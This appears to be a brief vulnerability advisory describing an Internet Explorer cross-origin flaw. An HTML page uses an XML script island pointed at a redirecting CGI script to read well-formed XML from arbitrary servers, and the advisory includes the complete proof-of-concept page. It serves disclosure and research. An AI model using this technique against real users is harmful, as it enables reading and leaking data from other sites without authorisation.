Description:

By opening html in IE it is possible to read at least well formed xml from
arbitrary servers. The info then may be transmitted.

Details:

Consider this:

---------
<html>
	<script>
		function f()
		{
			alert(document.all.x1.XMLDocument.xml);
		}
	</script>

	<body onload="f()">
		<script id="x1" language="xml" src="/cgi-bin/redir.pl"></script>
		<h1>
			Copyright Georgi Guninski <br />
			Cannot be used in any database
		</h1>
	</body>
</html>
---------

redir.pl does a http redirect.
